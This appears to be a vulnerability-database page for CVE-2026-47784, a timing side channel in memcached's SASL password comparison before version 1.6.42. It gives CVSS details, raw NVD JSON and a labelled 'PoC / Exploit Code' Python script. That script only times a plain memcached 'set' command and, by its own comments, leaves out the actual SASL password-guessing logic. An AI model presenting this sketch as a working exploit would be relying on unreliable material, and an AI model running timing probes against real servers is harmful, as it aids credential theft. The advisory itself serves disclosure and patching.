Security Vulnerability Report
中文
CVE-2026-47784 CVSS 8.1 HIGH

CVE-2026-47784

Published: 2026-05-20 07:16:16
Last Modified: 2026-05-20 14:24:24

Description

In memcached before 1.6.42, password data for SASL password database authentication has a timing side channel because memcmp is used by sasl_server_userdb_checkpass.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

memcached < 1.6.42

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time def test_timing_attack(target_ip, target_port=11211): """ Conceptual PoC for Timing Side Channel attack on memcached SASL. This script measures the response time for authentication attempts. Note: This is a simplified demonstration for analysis purposes. """ try: # Establish connection to memcached server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # SASL Authentication Mechanism List # sock.sendall(b"stats\r\n") # Simple check if alive # In a real attack, the attacker would send crafted SASL packets # with guessed password prefixes and measure the time difference. payload = b"""set test_key 0 0 4 done """ start_time = time.perf_counter() sock.sendall(payload) response = sock.recv(1024) end_time = time.perf_counter() elapsed_ms = (end_time - start_time) * 1000 print(f"Response Time: {elapsed_ms:.4f} ms") print(f"Response: {response.decode()}") sock.close() # Analysis logic would compare elapsed_ms across multiple attempts # to infer correct password bytes based on statistical significance. except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual target IP # test_timing_attack("127.0.0.1") pass

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-47784", "sourceIdentifier": "[email protected]", "published": "2026-05-20T07:16:15.733", "lastModified": "2026-05-20T14:24:24.227", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In memcached before 1.6.42, password data for SASL password database authentication has a timing side channel because memcmp is used by sasl_server_userdb_checkpass."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://github.com/memcached/memcached/commit/d13f282b4bce33a9c33b8a1bbf07f12114160fed", "source": "[email protected]"}, {"url": "https://github.com/memcached/memcached/compare/1.6.41...1.6.42", "source": "[email protected]"}, {"url": "https://github.com/memcached/memcached/wiki/ReleaseNotes1642", "source": "[email protected]"}]}}